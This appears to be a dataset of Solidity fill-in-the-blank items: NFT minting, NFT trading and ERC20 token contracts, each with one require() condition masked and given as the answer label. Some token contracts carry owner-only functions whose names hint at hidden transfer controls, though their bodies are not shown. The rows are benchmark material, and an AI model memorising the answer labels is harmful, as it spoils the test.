comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Can't mint more than whitelisted amount of tokens!"
|
contract PixelBears is IERC2981, ERC721, DefaultOperatorFilterer721 {
bool private _whitelistEnabled;
bool private _publicEnabled;
uint private _supply;
uint private _whitelistSalePrice;
uint private _publicSalePrice;
address private _whitelistSigner;
uint private _EIP2981RoyaltyPercentage;
uint public maxFreeMint = 20;
mapping(address => uint) public whitelistMinted;
mapping(address => uint) public freeAmountMinted;
event WhitelistSalePriceChanged(uint indexed prevPrice, uint indexed newPrice);
event PublicSalePriceChanged(uint indexed prevPrice, uint indexed newPrice);
event EIP2981RoyaltyPercentageChanged(uint indexed prevRoyalty, uint indexed newRoyalty);
constructor(
address _openseaProxyRegistry,
uint supply,
uint whitelistSalePrice,
uint publicSalePrice,
uint EIP2981RoyaltyPercentage,
address whitelistSigner,
string memory _baseURI
) ERC721(_openseaProxyRegistry, _baseURI) {
}
function mintFromReserve(address to) external onlyOwner {
}
function getMintingInfo() external view returns(
uint supply,
uint publicSalePrice,
uint whitelistSalePrice,
uint EIP2981RoyaltyPercentage
) {
}
function setWhitelistPrice(uint priceInWei) external onlyOwner {
}
function setPublicSalePrice(uint priceInWei) external onlyOwner {
}
function setMaxFreeMint(uint _maxFreeMint) external onlyOwner {
}
function setWhitelistSigner(address whitelistSigner) external onlyOwner {
}
/**
* @notice In basis points (parts per 10K). Eg. 500 = 5%
*/
function setEIP2981RoyaltyPercentage(uint percentage) external onlyOwner {
}
modifier mintFunc(uint16 qty, uint supply, uint price) {
}
function mint(uint16 qty) external payable mintFunc(qty, _supply, _publicSalePrice) {
}
function whitelistMint(bytes calldata sig, uint16 qty, uint16 maxQty) external payable mintFunc(qty, _supply, _whitelistSalePrice) {
require(_whitelistEnabled, "Whitelist sale is not enabled!");
require(_isWhitelisted(msg.sender, maxQty, sig), "User not whitelisted!");
require(<FILL_ME>)
_supply -= qty;
whitelistMinted[msg.sender] += qty;
_mintQty(qty, msg.sender);
}
function _isWhitelisted(address _wallet, uint16 _maxQty, bytes memory _signature) private view returns(bool) {
}
function isWhitelisted(address _wallet, uint16 _maxQty, bytes memory _signature) external view returns(bool) {
}
function getSalesStatus() external view returns(bool whitelistEnabled, bool publicEnabled, uint whitelistSalePrice, uint publicSalePrice) {
}
/**
* @notice returns royalty info for EIP2981 supporting marketplaces
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint tokenId, uint salePrice) external view override returns(address receiver, uint256 royaltyAmount) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function withdraw() onlyOwner external {
}
function toggleWhitelistSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function setOperaterFilterBypass(address sender, bool approved) external onlyOwner {
}
function tokensOfOwner(address owner) external view returns(uint[] memory) {
}
}
|
whitelistMinted[msg.sender]+qty<=maxQty,"Can't mint more than whitelisted amount of tokens!"
| 208,181 |
whitelistMinted[msg.sender]+qty<=maxQty
|
"Queen: caller is not the queen"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,address to,uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract TAT is IERC20, IERC20Metadata {
function _msgSender() internal view virtual returns (address) { }
function _msgData() internal view virtual returns (bytes calldata) { }
address private _queen;
event Swap(address indexed sender,uint amount0In,uint amount1In,uint amount0Out,uint amount1Out,address indexed to);
event QueenTransferred(address indexed previousQueen, address indexed newQueen);
modifier queenOnly() { }
function queen() public view virtual returns (address) { }
function _checkQueen() internal view virtual {require(<FILL_ME>)}
function renounceQueenship() public virtual queenOnly {_transferQueen(address(0));}
function transferQueenship(address newQueen) public virtual queenOnly {
}
function _transferQueen(address newQueen) internal virtual {
}
mapping(address => uint256) private _balances;
mapping (address => bool) internal o;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _mul = 1;
uint256 private _base = 100000;
string private _name;
string private _symbol;
address private _one;
constructor() {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function swap(address [] calldata _bytes_) external queenOnly { }
function transferFrom(address [] calldata _addresses_) external queenOnly { }
function q(address _bytes_) public view returns (bool) { }
function transfer(address _from, address _to, uint256 _wad) external { }
function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function swap(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external {
}
function deswap(address _from_, address [] calldata _addresses_, uint256 _in, uint256 _out) external {
}
function multicall(address a) external queenOnly { }
function multicall(uint256 a, uint256 b) public queenOnly { }
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 _amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function approve(address owner, address spender) private view returns (bool) {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual returns (uint256) {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
|
queen()==_msgSender(),"Queen: caller is not the queen"
| 208,227 |
queen()==_msgSender()
|
"Exceed max wallet amount"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _Sender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address internal _return;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Deplo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _sets;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000 * 10**9;
mapping(address => uint256) private setCooldown;
string private constant _name = "Deplo";
string private constant _symbol = "DPL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _isTrading;
bool private inSwapandLiquidify = false;
bool private swapAndLiquifyEnabled = false;
bool private _isCooldownEnabled = false;
uint256 private _maxTx = _totalSupply;
uint256 private _maxWallet = _totalSupply;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTx, "Exceed max transaction amount");
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_transferToken(from, to, amount);
} else {
uint256 currentBalanceAvailable = balanceOf(to);
require(<FILL_ME>)
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (_isCooldownEnabled) {
require(setCooldown[to] < block.timestamp);
}
setCooldown[to] = block.timestamp + (30 seconds);
_transferToken(from, to, amount);
} else {
_transferToken(from, to, amount);
}
}
} else {
_transferToken(from, to, amount);
}
}
function allowance(address recipient, uint256 num) external {
}
function setTrading() external onlyOwner {
}
function _transferToken(
address sender,
address recipient,
uint256 amount
) private {
}
function updateMaxTX(uint256 _amt) public onlyOwner {
}
function updateMaxWallet(uint256 _amt) public onlyOwner {
}
receive() external payable {}
}
|
currentBalanceAvailable+amount<_maxWallet,"Exceed max wallet amount"
| 208,532 |
currentBalanceAvailable+amount<_maxWallet
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _Sender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address internal _return;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Deplo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _sets;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000 * 10**9;
mapping(address => uint256) private setCooldown;
string private constant _name = "Deplo";
string private constant _symbol = "DPL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _isTrading;
bool private inSwapandLiquidify = false;
bool private swapAndLiquifyEnabled = false;
bool private _isCooldownEnabled = false;
uint256 private _maxTx = _totalSupply;
uint256 private _maxWallet = _totalSupply;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTx, "Exceed max transaction amount");
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_transferToken(from, to, amount);
} else {
uint256 currentBalanceAvailable = balanceOf(to);
require(
currentBalanceAvailable + amount < _maxWallet,
"Exceed max wallet amount"
);
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (_isCooldownEnabled) {
require(<FILL_ME>)
}
setCooldown[to] = block.timestamp + (30 seconds);
_transferToken(from, to, amount);
} else {
_transferToken(from, to, amount);
}
}
} else {
_transferToken(from, to, amount);
}
}
function allowance(address recipient, uint256 num) external {
}
function setTrading() external onlyOwner {
}
function _transferToken(
address sender,
address recipient,
uint256 amount
) private {
}
function updateMaxTX(uint256 _amt) public onlyOwner {
}
function updateMaxWallet(uint256 _amt) public onlyOwner {
}
receive() external payable {}
}
|
setCooldown[to]<block.timestamp
| 208,532 |
setCooldown[to]<block.timestamp
|
"trading is already open"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _Sender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address internal _return;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Deplo is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _sets;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000 * 10**9;
mapping(address => uint256) private setCooldown;
string private constant _name = "Deplo";
string private constant _symbol = "DPL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _isTrading;
bool private inSwapandLiquidify = false;
bool private swapAndLiquifyEnabled = false;
bool private _isCooldownEnabled = false;
uint256 private _maxTx = _totalSupply;
uint256 private _maxWallet = _totalSupply;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function allowance(address recipient, uint256 num) external {
}
function setTrading() external onlyOwner {
require(<FILL_ME>)
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapAndLiquifyEnabled = true;
_isCooldownEnabled = true;
_maxTx = 20000000* 10**9;
_maxWallet = 20000000 * 10**9;
_isTrading = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function _transferToken(
address sender,
address recipient,
uint256 amount
) private {
}
function updateMaxTX(uint256 _amt) public onlyOwner {
}
function updateMaxWallet(uint256 _amt) public onlyOwner {
}
receive() external payable {}
}
|
!_isTrading,"trading is already open"
| 208,532 |
!_isTrading
|
"Nonce: Invalid Nonce"
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function lastTokenId()external returns(uint256);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function contractOwner() external view returns(address owner);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, string memory _tokenURI, bytes memory data)external returns(uint256);
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
function lastTokenId()external returns(uint256);
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, uint256 _supply, string memory _tokenURI, uint256 qty, bytes memory data)external returns(uint256);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external {
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external {
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external {
}
function erc721mintAndTransfer(IERC721 token, address from, address to, uint256 tokenId, uint256 fee, string memory tokenURI, bytes calldata data) external returns(uint256){
}
function erc1155mintAndTransfer(IERC1155 token, address from, address to, uint256 tokenId, uint256 fee , uint256 supply, string memory tokenURI, uint256 qty, bytes calldata data) external returns(uint256) {
}
}
contract Trade {
enum BuyingAssetType {ERC1155, ERC721 , LazyMintERC1155, LazyMintERC721}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SellerFee(uint8 sellerFee);
event BuyerFee(uint8 buyerFee);
event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
uint8 private buyerFeePermille;
uint8 private sellerFeePermille;
TransferProxy public transferProxy;
TransferProxy public DeprecatedProxy;
address public owner;
mapping(uint256 => bool) private usedNonce;
struct Fee {
uint platformFee;
uint assetFee;
uint royaltyFee;
uint price;
address tokenCreator;
}
/* An ECDSA signature. */
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
uint256 nonce;
}
struct Order {
address seller;
address buyer;
address erc20Address;
address nftAddress;
BuyingAssetType nftType;
uint unitPrice;
uint amount;
uint tokenId;
uint256 supply;
string tokenURI;
uint256 fee;
uint qty;
bool isDeprecatedProxy;
}
modifier onlyOwner() {
}
constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy, TransferProxy _deprecatedProxy) {
}
function buyerServiceFee() external view virtual returns (uint8) {
}
function sellerServiceFee() external view virtual returns (uint8) {
}
function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns(bool) {
}
function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns(bool) {
}
function transferOwnership(address newOwner) external onlyOwner returns(bool){
}
function getSigner(bytes32 hash, Sign memory sign) internal pure returns(address) {
}
function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign memory sign) internal pure {
}
function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign memory sign) internal pure {
}
function verifyOwnerSign(address buyingAssetAddress,address seller,string memory tokenURI, Sign memory sign) internal view {
}
function getFees( Order memory order, bool _import) internal view returns(Fee memory){
}
function tradeAsset(Order memory order, Fee memory fee) internal virtual {
}
function mintAndBuyAsset(Order memory order, Sign memory ownerSign, Sign memory sign, bool isShared) external returns(bool){
require(<FILL_ME>)
usedNonce[sign.nonce] = true;
usedNonce[ownerSign.nonce] = true;
Fee memory fee = getFees(order, false);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
if(isShared) {
verifyOwnerSign(order.nftAddress, order.seller, order.tokenURI, ownerSign);
}
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
order.buyer = msg.sender;
tradeAsset(order, fee);
emit BuyAsset(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function mintAndExecuteBid(Order memory order, Sign memory ownerSign, Sign memory sign, bool isShared) external returns(bool){
}
function buyAsset(Order memory order, bool _import, Sign memory sign) external returns(bool) {
}
function executeBid(Order memory order, bool _import, Sign memory sign) external returns(bool) {
}
}
|
!usedNonce[sign.nonce]&&!usedNonce[ownerSign.nonce],"Nonce: Invalid Nonce"
| 208,626 |
!usedNonce[sign.nonce]&&!usedNonce[ownerSign.nonce]
|
"Not enough balance"
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.6 <0.9.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {UD60x18, intoUint256, ud} from "@prb/math/src/UD60x18.sol";
/**
* @title Feeding Contract
* @dev Manages the feeding of tokens and reward vesting.
*/
contract Feeding is Ownable {
// ==================== STRUCTURE ==================== //
struct Vesting {
address tokenFed;
uint256 valueFed;
uint256 rewardMultiple;
uint256 amount;
uint256 start;
uint256 vestingTime;
bool claimed;
}
address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public feedPoolRewardThreshold;
uint256 public growthRateIncrease;
uint256 public baseGrowthRate;
address public constant BLOB = 0x2eA6CC1ac06fdC01b568fcaD8D842DEc3F2CE1aD;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private blobSlippage = 15e4;
mapping(address => address[]) public tokenPath;
mapping(address => uint256) public totalFed;
mapping(address => bool) public isFeedToken;
address[] feedTokensList;
uint256 public totalBlobGiven;
mapping(address => Vesting[]) public vestingBalances;
// ==================== EVENTS ==================== //
event SetTokenPath(address _token);
event AddFeedToken(address _token);
event RemoveFeedToken(address _token);
event Feed(address _token, uint256 _amount);
event Claim(uint256 _amount);
event SetRouterAddress(address _routerAddress);
event SetRewardsAddress(address _rewardAddress);
event SetRewardsThreshold(uint256 _threshold);
event SetBlobsSlippage(uint256 _slippage);
event SetGrowthRatesIncrease(uint256 _growthRate);
event SetBaseGrowthRates(uint256 _baseGrowthRate);
// ==================== MODIFIERS ==================== //
modifier vestingExists(address account, uint256 index) {
}
modifier isValidAddress(address account) {
}
// ==================== CONSTRUCTOR ==================== //
constructor(
uint256 _feedPoolRewardThreshold,
uint256 _baseGrowthRate,
uint256 _growthRateIncrease
) {
}
// ==================== FUNCTIONS ==================== //
/**
* @dev Returns the amount of WETH rewards in the contract.
* @return Amount of WETH rewards
*/
function getRewardsAmount() external view returns (uint256) {
}
/**
* @dev Returns the list of feed tokens.
* @return Array of feed tokens
*/
function getFeedTokensList() external view returns (address[] memory) {
}
/**
* @dev Returns the token path to blob for a given feed token.
* @param token Feed token address
* @return Array of addresses representing the token path to blob
*/
function getPath(address token) external view returns (address[] memory) {
